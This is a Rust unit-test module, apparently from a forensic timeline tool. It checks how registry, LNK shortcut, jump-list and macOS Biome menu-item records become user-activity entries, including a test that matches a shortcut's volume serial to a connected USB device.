1766        assert!(acts.iter().any(|a| a.action == Action::Executed));
1767        assert!(acts.iter().any(|a| a.action == Action::Typed));
1768        assert!(acts.iter().any(|a| a.action == Action::Accessed));
1769        assert!(acts.iter().all(|a| a.source == SourceKind::Registry));
1770        assert!(acts.iter().all(|a| a.actor.as_deref() == Some("alice")));
1771    }
1772
1773    #[test]
1774    fn registry_source_adapter_dispatches() {
1775        let ua_entries = [ua("cmd.exe", 1, None)];
1776        let s = RegistrySource::new(&ua_entries, &[], &[], None);
1777        let acts = s.activities();
1778        assert_eq!(acts.len(), 1);
1779        assert_eq!(acts[0].source, SourceKind::Registry);
1780    }
1781
1782    // ── LNK adapter (v0.2) ────────────────────────────────────────────────────
1783
1784    use lnk_core::{LinkInfo, ShellLink, ShellLinkHeader, StringData, VolumeId};
1785
1786    fn shell_link(
1787        local_base_path: Option<&str>,
1788        drive_serial: Option<u32>,
1789        write_time: i64,
1790        net_name: Option<&str>,
1791    ) -> ShellLink {
1792        let volume_id = drive_serial.map(|s| VolumeId {
1793            drive_type: lnk_core::drive_type::REMOVABLE,
1794            drive_serial_number: s,
1795            volume_label: None,
1796        });
1797        let cnrl = net_name.map(|n| lnk_core::CommonNetworkRelativeLink {
1798            net_name: Some(n.to_string()),
1799            device_name: None,
1800        });
1801        ShellLink {
1802            header: ShellLinkHeader {
1803                link_flags: 0,
1804                file_attributes: 0,
1805                creation_time: 0,
1806                access_time: 0,
1807                write_time,
1808                file_size: 0,
1809                icon_index: 0,
1810                show_command: 1,
1811                hotkey: 0,
1812            },
1813            link_target_idlist: None,
1814            link_info: Some(LinkInfo {
1815                volume_id,
1816                local_base_path: local_base_path.map(ToString::to_string),
1817                common_network_relative_link: cnrl,
1818            }),
1819            string_data: StringData::default(),
1820            tracker: None,
1821        }
1822    }
1823
1824    #[test]
1825    fn lnk_target_becomes_accessed_file_with_volume_serial() {
1826        let links = [shell_link(
1827            Some("E:\\secret.docx"),
1828            Some(0xDEAD_BEEF),
1829            1_700_000_000,
1830            None,
1831        )];
1832        let acts = from_lnk(&links, Some("alice"));
1833        assert_eq!(acts.len(), 1);
1834        let a = &acts[0];
1835        assert_eq!(a.action, Action::Accessed);
1836        assert_eq!(a.source, SourceKind::LnkFile);
1837        // The target write time becomes the activity timestamp.
1838        assert_eq!(a.timestamp, Some(1_700_000_000));
1839        assert_eq!(a.actor.as_deref(), Some("alice"));
1840        // The File subject carries the structured volume serial (the join key).
1841        assert_eq!(
1842            a.subject,
1843            Subject::File {
1844                path: "E:\\secret.docx".to_string(),
1845                volume_serial: Some(0xDEAD_BEEF),
1846            }
1847        );
1848    }
1849
1850    #[test]
1851    fn lnk_without_volume_id_has_no_serial() {
1852        let links = [shell_link(Some("C:\\x.txt"), None, 0, None)];
1853        let acts = from_lnk(&links, None);
1854        assert_eq!(acts.len(), 1);
1855        assert_eq!(
1856            acts[0].subject,
1857            Subject::File {
1858                path: "C:\\x.txt".to_string(),
1859                volume_serial: None,
1860            }
1861        );
1862        // write_time 0 (the FILETIME "not set" sentinel) → no timestamp.
1863        assert_eq!(acts[0].timestamp, None);
1864    }
1865
1866    #[test]
1867    fn lnk_network_target_falls_back_to_unc_path() {
1868        // No local_base_path, but a CommonNetworkRelativeLink net name → use it.
1869        let links = [shell_link(None, None, 5, Some("\\\\server\\share"))];
1870        let acts = from_lnk(&links, None);
1871        assert_eq!(acts.len(), 1);
1872        assert_eq!(
1873            acts[0].subject,
1874            Subject::File {
1875                path: "\\\\server\\share".to_string(),
1876                volume_serial: None,
1877            }
1878        );
1879    }
1880
1881    #[test]
1882    fn lnk_without_link_info_is_skipped() {
1883        // A link with no LinkInfo and no usable target is dropped, not crashed.
1884        let mut link = shell_link(None, None, 0, None);
1885        link.link_info = None;
1886        let acts = from_lnk(&[link], None);
1887        assert!(acts.is_empty());
1888    }
1889
1890    fn destlist(path: &str, host: &str, last_access: i64) -> lnk_core::DestListEntry {
1891        lnk_core::DestListEntry {
1892            droid_volume_guid: String::new(),
1893            droid_file_guid: String::new(),
1894            birth_droid_volume_guid: String::new(),
1895            birth_droid_file_guid: String::new(),
1896            hostname: host.to_string(),
1897            entry_number: 1,
1898            last_access,
1899            pinned: false,
1900            access_count: Some(3),
1901            path: path.to_string(),
1902        }
1903    }
1904
1905    #[test]
1906    fn jumplist_automatic_entry_becomes_accessed_file() {
1907        // An automatic-destinations entry: the DestList records the target path,
1908        // the MRU last-access time, and the origin host; the embedded link carries
1909        // the volume serial (the device join key).
1910        let link = shell_link(
1911            Some("C:\\Users\\bob\\q3.xlsx"),
1912            Some(0x1234_5678),
1913            1_700_000_000,
1914            None,
1915        );
1916        let lists = [lnk_core::JumpList {
1917            kind: lnk_core::JumpListKind::Automatic,
1918            app_id: Some("1b4dd67f29cb1962".to_string()),
1919            entries: vec![lnk_core::JumpListEntry {
1920                destlist: Some(destlist("C:\\Users\\bob\\q3.xlsx", "WS01", 1_700_000_500)),
1921                link,
1922            }],
1923        }];
1924        let acts = from_jumplists(&lists, Some("bob"));
1925        assert_eq!(acts.len(), 1);
1926        let a = &acts[0];
1927        assert_eq!(a.action, Action::Accessed);
1928        assert_eq!(a.source, SourceKind::JumpList);
1929        // The DestList last-access time is authoritative (preferred over the link's
1930        // write_time) — it is the precise per-target MRU access timestamp.
1931        assert_eq!(a.timestamp, Some(1_700_000_500));
1932        assert_eq!(a.actor.as_deref(), Some("bob"));
1933        assert_eq!(
1934            a.subject,
1935            Subject::File {
1936                path: "C:\\Users\\bob\\q3.xlsx".to_string(),
1937                volume_serial: Some(0x1234_5678),
1938            }
1939        );
1940    }
1941
1942    #[test]
1943    fn jumplist_custom_entry_falls_back_to_embedded_link() {
1944        // A custom-destinations entry has no DestList: the path and timestamp come
1945        // from the embedded shell link, exactly like a loose .lnk.
1946        let link = shell_link(
1947            Some("D:\\report.pdf"),
1948            Some(0xAABB_CCDD),
1949            1_690_000_000,
1950            None,
1951        );
1952        let lists = [lnk_core::JumpList {
1953            kind: lnk_core::JumpListKind::Custom,
1954            app_id: None,
1955            entries: vec![lnk_core::JumpListEntry {
1956                destlist: None,
1957                link,
1958            }],
1959        }];
1960        let acts = from_jumplists(&lists, None);
1961        assert_eq!(acts.len(), 1);
1962        assert_eq!(acts[0].source, SourceKind::JumpList);
1963        assert_eq!(acts[0].timestamp, Some(1_690_000_000));
1964        assert_eq!(
1965            acts[0].subject,
1966            Subject::File {
1967                path: "D:\\report.pdf".to_string(),
1968                volume_serial: Some(0xAABB_CCDD),
1969            }
1970        );
1971    }
1972
1973    #[test]
1974    fn lnk_source_adapter_dispatches() {
1975        let links = [shell_link(Some("E:\\f"), Some(1), 1, None)];
1976        let s = LnkSource::new(&links, None);
1977        let acts = s.activities();
1978        assert_eq!(acts.len(), 1);
1979        assert_eq!(acts[0].source, SourceKind::LnkFile);
1980    }
1981
1982    // ── The volume-serial join activates end-to-end (LNK File ⋈ Device) ───────
1983
1984    #[test]
1985    fn lnk_file_joins_connected_device_on_volume_serial() {
1986        let links = [shell_link(
1987            Some("E:\\loot.zip"),
1988            Some(0xCAFE_F00D),
1989            100,
1990            None,
1991        )];
1992        let conns = [device(
1993            "USBSTOR\\Disk",
1994            Bus::Usb,
1995            Some(50),
1996            Some(0xCAFE_F00D),
1997        )];
1998        let lnk = LnkSource::new(&links, Some("alice"));
1999        let devices = DeviceSource::new(&conns);
2000        let timeline = build_timeline(&[&lnk, &devices]);
2001        let findings = audit(&timeline);
2002        let f = findings
2003            .iter()
2004            .find(|f| f.code == "USERACT-FILE-ON-EXTERNAL-DEVICE")
2005            .expect("file-on-external-device must fire when serials match");
2006        assert_eq!(f.severity, Some(Severity::Medium));
2007        assert_eq!(f.category, Category::Threat);
2008    }
2009
2010    // ── from_biome_menu_items ─────────────────────────────────────────────────
2011
2012    #[test]
2013    fn menu_item_record_becomes_menu_selected_activity() {
2014        let records = [segb::menuitem::AppMenuItemRecord {
2015            application: Some("Finder".to_string()),
2016            menu_item: Some("Move to Trash".to_string()),
2017            timestamp_unix: Some(1_700_000_000.0_f64),
2018        }];
2019        let acts = from_biome_menu_items(&records, Some("alice"));
2020        assert_eq!(acts.len(), 1);
2021        let a = &acts[0];
2022        assert_eq!(a.action, Action::MenuSelected);
2023        assert_eq!(a.source, SourceKind::BiomeMenuItem);
2024        assert_eq!(a.timestamp, Some(1_700_000_000_i64));
2025        assert_eq!(a.actor.as_deref(), Some("alice"));
2026        assert_eq!(a.subject, Subject::Command("Finder: Move to Trash".to_string()));
2027        assert_eq!(a.detail, "Finder: Move to Trash");
2028    }
2029
2030    #[test]
2031    fn menu_item_record_no_actor() {
2032        let records = [segb::menuitem::AppMenuItemRecord {
2033            application: Some("TextEdit".to_string()),
2034            menu_item: Some("Save\u{2026}".to_string()),
2035            timestamp_unix: Some(1_700_000_100.0_f64),
2036        }];
2037        let acts = from_biome_menu_items(&records, None);
2038        assert_eq!(acts.len(), 1);
2039        assert_eq!(acts[0].actor, None);
2040        assert_eq!(acts[0].detail, "TextEdit: Save\u{2026}");
2041        assert_eq!(
2042            acts[0].subject,
2043            Subject::Command("TextEdit: Save\u{2026}".to_string())
2044        );
2045    }
2046
2047    #[test]
2048    fn menu_item_record_with_no_menu_item_is_skipped() {
2049        // A record without menu_item carries no actionable label — skip it.
2050        let records = [segb::menuitem::AppMenuItemRecord {
2051            application: Some("Finder".to_string()),
2052            menu_item: None,
2053            timestamp_unix: Some(1_700_000_200.0_f64),
2054        }];
2055        let acts = from_biome_menu_items(&records, None);
2056        assert!(acts.is_empty(), "records with no menu_item must be skipped");
2057    }
2058
2059    #[test]
2060    fn menu_item_record_with_no_timestamp_yields_none_timestamp() {
2061        let records = [segb::menuitem::AppMenuItemRecord {
2062            application: Some("Safari".to_string()),
2063            menu_item: Some("Open in New Tab".to_string()),
2064            timestamp_unix: None,
2065        }];
2066        let acts = from_biome_menu_items(&records, None);
2067        assert_eq!(acts.len(), 1);
2068        assert_eq!(acts[0].timestamp, None);
2069    }
2070
2071    #[test]
2072    fn biome_menu_item_source_adapter_dispatches() {
2073        let records = [segb::menuitem::AppMenuItemRecord {
2074            application: Some("Mail".to_string()),
2075            menu_item: Some("Reply".to_string()),
2076            timestamp_unix: Some(1_700_001_000.0_f64),
2077        }];
2078        let src = BiomeMenuItemSource::new(&records, None);
2079        let acts = src.activities();
2080        assert_eq!(acts.len(), 1);
2081        assert_eq!(acts[0].source, SourceKind::BiomeMenuItem);
2082    }
2083}